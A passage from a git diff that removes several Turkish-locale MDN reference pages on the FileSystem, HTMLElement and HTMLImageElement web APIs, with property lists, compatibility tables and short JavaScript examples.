href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p> - -<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a></li> - <li>{{domxref("File")}}</li> - <li>{{domxref("Blob")}}</li> - <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMFileReader">nsIDOMFileReader</a> - For addons/privileged scope</li> -</ul> diff --git a/files/tr/web/api/filesystem/index.html b/files/tr/web/api/filesystem/index.html deleted file mode 100644 index d7a9d4fe9a..0000000000 --- a/files/tr/web/api/filesystem/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: FileSystem -slug: Web/API/FileSystem -translation_of: Web/API/FileSystem ---- -<p>{{APIRef("File System API")}} {{non-standard_header}}</p> - -<p>Dosya ve Dizin API arabirimi <strong><code>FileSystem</code></strong> bir dosya sistemini temsil etmek için kullanılır. Bu nesneler herhangi bir dosya sistemi girişinde yer alan {{domxref("FileSystemEntry.filesystem", "filesystem")}} özelliğinden edinilebilir. Bazı tarayıcılar dosya sistemlerini oluşturma ve yönetmek için ek API'lar sunarlar, Chrome'un {{domxref("LocalFileSystem.requestFileSystem", "requestFileSystem()")}} metodu gibi.</p> - -<div class="note"> -<p>Bu standart olmayan bir API, çünkü özellikleri henüz gelecek standartlar içerisinde yer almıyor, tüm tarayıcıların bunu desteklemediğini ve bu API'nin sadece bir bölümünün kullanılabilir olacağını unutmamak gerekir. Detaylar için {{anch("Browser compatibility")}} bölümüne bakınız.</p> -</div> - -<h2 id="Temel_Kavramlar">Temel Kavramlar</h2> - -<p>Bir <code>FileSystem</code> nesnesine erişmenin iki yolu vardır:</p> - -<ol> - <li>Web uygulamanız için oluşturulan korumalı bir dosya sistemini temsil eden dosyayı doğrudan <code>window.requestFileSystem() </code>öğesini çağırarak isteyebilirsiniz.. Eğer bu çağrı başarılı olursa, callback handler çalıştırılır. Bu da dosya sistemi tanımlayıcısı olan <code>FileSystem</code> nesnesini parametre olarak alır.</li> - <li>Bir dosya sistemi giriş nesnesinden, {{domxref("FileSystemEntry.filesystem", "filesystem")}} özelliği sayesinde erişim sağlayabilirsiniz.</li> -</ol> - -<h2 id="Özellikler">Özellikler</h2> - -<dl> - <dt>{{domxref("FileSystem.name")}} {{ReadOnlyInline}}</dt> - <dd>Dosya sisteminin adını temsil eden bir {{domxref("USVString")}}. Bu isim tüm açık dosya sistemlerinde benzersizdir.</dd> - <dt>{{domxref("FileSystem.root")}} {{ReadOnlyInline}}</dt> - <dd>Dosya sisteminin kök dizinini temsil eden bir {{domxref("FileSystemDirectoryEntry")}} nesnesi. Bu nesneyi kullanarak dosya sisteminde yer alan tüm nesne ve dizinlere erişebilirsiniz.</dd> -</dl> - -<h2 id="Tanımlama">Tanımlama</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Tanım</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('File System API')}}</td> - <td>{{Spec2('File System API')}}</td> - <td>Draft of proposed API</td> - </tr> - </tbody> -</table> - -<p>Bu API W3C ya da WHATWG üzerinde resmi bir tanımlamaya sahip değil.</p> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Tarayıcı Uyumluluğu</h2> - -<p>{{ CompatibilityTable }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Microsoft Edge</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>13{{ property_prefix("webkit") }}</td> - <td>{{ CompatGeckoDesktop(50) }}</td> - <td>{{ CompatNo }}</td> - <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android için Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>0.16{{ property_prefix("webkit") }}</td> - <td>{{ CompatGeckoMobile(50) }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Microsoft Edge bu arabirimi sadece <code>WebKitFileSystem</code> adı altında kullanır ve yalnızca sürükle-bırak senaryolarında {{domxref("DataTransferItem.webkitGetAsEntry()")}} metodunu kullanır. Dosya ve klasör seçici panellerde kullanılabilir değildir (tıpkı {{HTMLElement("input")}} elementini {{domxref("HTMLInputElement.webkitdirectory")}} özelliğiyle kullandığınız zaman gibi).</p> - -<h2 id="Ayrıca_bkz.">Ayrıca bkz.</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li> - <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">File System API'ye Giriş</a></li> - <li>{{domxref("FileSystemEntry")}}, {{domxref("FileSystemFileEntry")}}, ve {{domxref("FileSystemDirectoryEntry")}}</li> - <li>MSDN Makalesi: <a href="https://msdn.microsoft.com/library/mt732564">WebKitFileSystem object</a></li> -</ul> diff --git a/files/tr/web/api/htmlelement/click/index.html b/files/tr/web/api/htmlelement/click/index.html deleted file mode 100644 index 5c8b295944..0000000000 --- a/files/tr/web/api/htmlelement/click/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: HTMLElement.click() -slug: Web/API/HTMLElement/click -translation_of: Web/API/HTMLElement/click ---- -<div> -<div>{{ APIRef("HTML DOM") }}</div> -</div> - -<p> </p> - -<p><code><strong>HTMLElement.click()</strong></code> metodu element üzerinde tıklama olayını simule eder.</p> - -<p><code>click()</code> geçerli elamanlar üzerinde kullanıldığında ({{HTMLElement("input")}} gibi), o elementin tıklama olayını (click event) tetikler. Bu olay döküman ağacındaki (veya olay zinciri) daha yüksek elemanlara ulaşır ve onların tıklama olaylarını tetikler.</p> - -<p> </p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><em>element</em>.click()</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td> - <td>{{Spec2('DOM2 HTML')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.HTMLElement.click")}}</p> diff --git a/files/tr/web/api/htmlelement/index.html b/files/tr/web/api/htmlelement/index.html deleted file mode 100644 index 9239cd8f6f..0000000000 --- a/files/tr/web/api/htmlelement/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: HTMLElement -slug: Web/API/HTMLElement -tags: - - API - - HTML DOM - - Interface - - NeedsNewLayout - - NeedsTranslation - - Reference - - TopicStub -translation_of: Web/API/HTMLElement ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p>The <strong><code>HTMLElement</code></strong> interface represents any <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> element. Some elements directly implement this interface, while others implement it via an interface that inherits it.</p> - -<p>{{InheritanceDiagram}}</p> - -<h2 id="Properties">Properties</h2> - -<p><em>Inherits properties from its parent, {{domxref("Element")}}, and implements those from {{domxref("GlobalEventHandlers")}} and {{domxref("TouchEventHandlers")}}.</em></p> - -<dl> - <dt>{{domxref("HTMLElement.accessKey")}}</dt> - <dd>Is a {{domxref("DOMString")}} representing the access key assigned to the element.</dd> - <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt> - <dd>Returns a {{domxref("DOMString")}} containing the element's assigned access key.</dd> - <dt>{{domxref("HTMLElement.contentEditable")}}</dt> - <dd>Is a {{domxref("DOMString")}}, where a value of <code>"true"</code> means the element is editable and a value of <code>"false"</code> means it isn't.</dd> - <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt> - <dd>Returns a {{domxref("Boolean")}} that indicates whether or not the content of the element can be edited.</dd> - <dt>{{domxref("HTMLElement.contextMenu")}} {{deprecated_inline}}</dt> - <dd>Is a {{domxref("HTMLMenuElement")}} representing the contextual menu associated with the element. It may be <code>null</code>.</dd> - <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt> - <dd>Returns a {{domxref("DOMStringMap")}} with which script can read and write the element's <a href="/en-US/docs/Web/Guide/HTML/Using_data_attributes">custom data attributes</a> (<code>data-*</code>) .</dd> - <dt>{{domxref("HTMLElement.dir")}}</dt> - <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd> - <dt>{{domxref("HTMLElement.draggable")}}</dt> - <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd> - <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt> - <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd> - <dt>{{domxref("HTMLElement.hidden")}}</dt> - <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd> - <dt>{{domxref("HTMLElement.inert")}}</dt> - <dd>Is a {{jsxref("Boolean")}} indicating whether the user agent must act as though the given node is absent for the purposes of user interaction events, in-page text searches ("find in page"), and text selection.</dd> - <dt>{{domxref("HTMLElement.innerText")}}</dt> - <dd>Represents the "rendered" text content of a node and its descendants. As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.</dd> - <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt> - <dd>Is a {{jsxref("Boolean")}} representing the item scope.</dd> - <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> - <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} representing the item ID.</dd> - <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> - <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> - <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt> - <dd>Returns a {{jsxref("Object")}} representing the item value.</dd> - <dt>{{domxref("HTMLElement.lang")}}</dt> - <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd> - <dt>{{domxref("HTMLElement.noModule")}}</dt> - <dd>Is a {{jsxref("Boolean")}} indicating wether an import script can be executed in user agents that support module scripts.</dd> - <dt>{{domxref("HTMLElement.nonce")}}</dt> - <dd>Returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.</dd> - <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd> - <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd> - <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd> - <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd> - <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd> - <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("HTMLPropertiesCollection")}}…</dd> - <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt> - <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it doesn't have an effect on all of them.</dd> - <dt>{{domxref("HTMLElement.style")}}</dt> - <dd>Is a {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd> - <dt>{{domxref("HTMLElement.tabIndex")}}</dt> - <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd> - <dt>{{domxref("HTMLElement.title")}}</dt> - <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd> - <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt> - <dd>Is a {{jsxref("Boolean")}} representing the translation.</dd> -</dl> - -<h3 id="Event_handlers">Event handlers</h3> - -<p>Most event handler properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}} interfaces and implemented by <code>HTMLElement</code>. In addition, the following handlers are specific to <code>HTMLElement</code>.</p> - -<dl> - <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt> - <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd> - <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt> - <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd> - <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt> - <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd> - <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt> - <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd> - <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt> - <dd>Returns the event handling code for the {{event("touchend")}} event.</dd> - <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt> - <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd> - <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt> - <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd> - <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt> - <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd> - <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt> - <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p> - -<dl> - <dt>{{domxref("HTMLElement.blur()")}}</dt> - <dd>Removes keyboard focus from the currently focused element.</dd> - <dt>{{domxref("HTMLElement.click()")}}</dt> - <dd>Sends a mouse click event to the element.</dd> - <dt>{{domxref("HTMLElement.focus()")}}</dt> - <dd>Makes the element the current keyboard focus.</dd> - <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt> - <dd>Runs the spell checker on the element's contents.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td> - <td>{{Spec2('CSSOM View')}}</td> - <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br> - Added the following method: <code>forceSpellcheck()</code>.<br> - Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br> - Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td> - </tr> - <tr> - <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td> - <td>{{Spec2('DOM2 HTML')}}</td> - <td>No change from {{SpecName('DOM2 HTML')}}</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.HTMLElement")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Element")}}</li> -</ul> diff --git a/files/tr/web/api/htmlimageelement/image/index.html b/files/tr/web/api/htmlimageelement/image/index.html deleted file mode 100644 index 9bbad76f33..0000000000 --- a/files/tr/web/api/htmlimageelement/image/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Image() -slug: Web/API/HTMLImageElement/Image -tags: - - API - - Constructor - - DOM - - HTML DOM - - HTMLImageElement - - HTMLImageElement Kullanımı - - Reference -translation_of: Web/API/HTMLImageElement/Image ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p id="Image_Element_constructor"><strong><code>Image()</code></strong> constructor'ı yeni bir {{domxref("HTMLImageElement")}} örneği oluşturur.</p> - -<p>İşlevsellik olarak {{domxref("Document.createElement()", "document.createElement('img')")}} ile aynıdır.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox">Image(genişlik, yükseklik)</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt>genişlik</dt> - <dd>Resmin genişliği (yani {{htmlattrxref("width", "img")}} özelliğinin değeri).</dd> - <dt>yükseklik</dt> - <dd>Resmin yüksekliği (yani {{htmlattrxref("height", "img")}} özelliğinin değeri).</dd> -</dl> - -<h2 id="Örnekler"><span style="line-height: 1.572;">Örnekler</span></h2> - -<pre class="brush: js">var myImage = new Image(100, 200); -myImage.src = 'picture.jpg'; -document.body.appendChild(myImage);</pre> - -<div>Yukarıdaki örnek {{htmlelement("body")}} etiketi içerisine aşağıdaki HTML elementini tanımlamakla aynı olacaktır.</div> - -<pre class="brush: html"><img width="100" height="200" src="picture.jpg"> -</pre> - -<div class="note"> -<p><strong>Not</strong>: Constructor'da belirtilen değerlere bakılmaksızın tüm bitmap yüklenir. Eğer constructor'da herhangi bir genişlik ya da yükseklik değeri tanımlanmamışsa {{domxref("HTMLImageElement.width")}} ve {{domxref("HTMLImageElement.height")}} değerleri üzerinden varsayılan atamalar yapılacaktır. CSS piksellerindeki resmin orjinal yüksekliği ve genişliği {{domxref("HTMLImageElement.naturalWidth")}} ve {{domxref("HTMLImageElement.naturalHeight")}} özellikleri ile yansıtılır. Eğer constructor'da herhangi bir değer tanımlı değilse bu özelliklerin her ikisinin de çiftleri aynı değerlere sahip olacaktır.</p> -</div> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanımlama</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName("HTML WHATWG", "embedded-content.html#dom-image", "Image()")}}</td> - <td>{{spec2("HTML WHATWG")}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özelik</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - <td>{{compatversionunknown}}</td> - </tr> - </tbody> -</table> -</div> - -<p> </p> diff --git a/files/tr/web/api/htmlimageelement/index.html b/files/tr/web/api/htmlimageelement/index.html deleted file mode 100644 index 65a25d2e38..0000000000 --- a/files/tr/web/api/htmlimageelement/index.html +++ /dev/null @@ -1,417 +0,0 @@ ---- -title: HTMLImageElement -slug: Web/API/HTMLImageElement -tags: - - API - - HTML DOM - - HTMLImageElement - - Interface - - NeedsTranslation - - Reference - - TopicStub - - img -translation_of: Web/API/HTMLImageElement ---- -<div>{{APIRef("HTML DOM")}}</div> - -<p>The <strong><code>HTMLImageElement</code></strong> interface provides special properties and methods for manipulating the layout and presentation of {{HTMLElement("img")}} elements.</p> - -<p>{{InheritanceDiagram(600,120)}}</p> - -<h2 id="Properties">Properties</h2> - -<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p> - -<dl> - <dt>{{domxref("HTMLImageElement.align")}} {{obsolete_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} indicating the alignment of the image with respect to the surrounding context. The possible values are <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, and <code>"center"</code>.</dd> - <dt>{{domxref("HTMLImageElement.alt")}}</dt> - <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("alt", "img")}} HTML attribute, thus indicating fallback context for the image.</dd> - <dt>{{domxref("HTMLImageElement.border")}} {{obsolete_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} that is responsible for the width of the border surrounding the image. This is now deprecated and the CSS {{cssxref("border")}} property should be used instead.</dd> - <dt>{{domxref("HTMLImageElement.complete")}} {{readonlyInline}}</dt> - <dd>Returns a {{domxref("Boolean")}} that is <code>true</code> if the browser has finished fetching the image, whether successful or not. It also shows true, if the image has no {{domxref("HTMLImageElement.src", "src")}} value.</dd> - <dt>{{domxref("HTMLImageElement.crossOrigin")}}</dt> - <dd>Is a {{domxref("DOMString")}} representing the CORS setting for this image element. See <a href="/en-US/docs/HTML/CORS_settings_attributes">CORS settings attributes</a> for further details.</dd> - <dt>{{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("DOMString")}} representing the URL to the currently displayed image (which may change, for example in response to media queries).</dd> - <dt>{{domxref("HTMLImageElement.height")}}</dt> - <dd>Is a <code>unsigned long</code> that reflects the {{htmlattrxref("height", "img")}} HTML attribute, indicating the rendered height of the image in CSS pixels.</dd> - <dt>{{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}}</dt> - <dd>Is a <code>long</code> representing the space on either side of the image.</dd> - <dt>{{domxref("HTMLImageElement.isMap")}}</dt> - <dd>Is a {{domxref("Boolean")}} that reflects the {{htmlattrxref("ismap", "img")}} HTML attribute, indicating that the image is part of a server-side image map.</dd> - <dt>{{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} representing the URI of a long description of the image.</dd> - <dt>{{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} that refers to a low-quality (but faster to load) copy of the image.</dd> - <dt>{{domxref("HTMLImageElement.name")}} {{obsolete_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} representing the name of the element.</dd> - <dt>{{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}}</dt> - <dd>Returns a <code>unsigned long</code> representing the intrinsic height of the image in CSS pixels, if it is available; else, it shows <code>0</code>.</dd> - <dt>{{domxref("HTMLImageElement.naturalWidth")}} {{readonlyInline}}</dt> - <dd>Returns a <code>unsigned long</code> representing the intrinsic width of the image in CSS pixels, if it is available; otherwise, it will show <code>0</code>.</dd> - <dt>{{domxref("HTMLImageElement.referrerPolicy")}} {{experimental_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "img")}} HTML attribute indicating which referrer to use in order to fetch the image.</dd> - <dt>{{domxref("HTMLImageElement.src")}}</dt> - <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "img")}} HTML attribute, containing the full URL of the image including base URI.</dd> - <dt>{{domxref("HTMLImageElement.sizes")}} {{experimental_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("sizes", "img")}} HTML attribute.</dd> - <dt>{{domxref("HTMLImageElement.srcset")}} {{experimental_inline}}</dt> - <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("srcset", "img")}} HTML attribute, containing a list of candidate images, separated by a comma (<code>',', U+002C COMMA</code>). A candidate image is a URL followed by a <code>'w'</code> with the width of the images, or an <code>'x'</code> followed by the pixel density.</dd> - <dt>{{domxref("HTMLImageElement.useMap")}}</dt> - <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("usemap", "img")}} HTML attribute, containing a partial URL of a map element.</dd> - <dt>{{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}}</dt> - <dd>Is a <code>long</code> representing the space above and below the image.</dd> - <dt>{{domxref("HTMLImageElement.width")}}</dt> - <dd>Is a <code>unsigned long</code> that reflects the {{htmlattrxref("width", "img")}} HTML attribute, indicating the rendered width of the image in CSS pixels.</dd> - <dt>{{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a <code>long</code> representing the horizontal offset from the nearest layer. This property mimics an old Netscape 4 behavior.</dd> - <dt>{{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}}</dt> - <dd>Returns a <code>long</code> representing the vertical offset from the nearest layer. This property is also similar to behavior of an old Netscape 4.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p> - -<dl> - <dt>{{domxref("HTMLImageElement.Image()", "Image()")}}</dt> - <dd>The <code>Image()</code> constructor, taking two optional <code>unsigned</code> <code>long</code>, which are the width and the height of the resource, creates an instance of <code>HTMLImageElement</code> , not inserted in a DOM tree.</dd> -</dl> - -<h2 id="Errors">Errors</h2> - -<p>If an error occurs while trying to load or render the image, and an {{htmlattrxref("onerror")}} event handler has been configured to handle the {{event("error")}} event, that event handler will get called. This can happen in a number of situations, including:</p> - -<ul> - <li>The {{htmlattrxref("src", "img")}} attribute is empty or <code>null</code>.</li> - <li>The specified <code>src</code> URL is the same as the URL of the page the user is currently on.</li> - <li>The specified image is corrupted in some way that prevents it from being loaded.</li> - <li>The specified image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <code><img></code> element's attributes.</li> - <li>The specified image is in a format not supported by the {{Glossary("user agent")}}.</li> -</ul> - -<h2 id="Example">Example</h2> - -<pre class="brush: js">var img1 = new Image(); // HTML5 Constructor -img1.src = 'image1.png'; -img1.alt = 'alt'; -document.body.appendChild(img1); - -var img2 = document.createElement('img'); // use DOM <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl">HTMLImageElement</a> -img2.src = 'image2.jpg'; -img2.alt = 'alt text'; -document.body.appendChild(img2); - -// using first image in the document -alert(document.images[0].src); -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td> - <td>{{Spec2('Referrer Policy')}}</td> - <td>Added the <code>referrerPolicy</code> property.</td> - </tr> - <tr> - <td>{{SpecName("CSSOM View", "#excensions-to-the-htmlimageelement-interface", "Extensions to HTMLImageElement")}}</td> - <td>{{Spec2('CSSOM View')}}</td> - <td>Added the <code>x</code> and <code>y</code> properties.</td> - </tr> - <tr> - 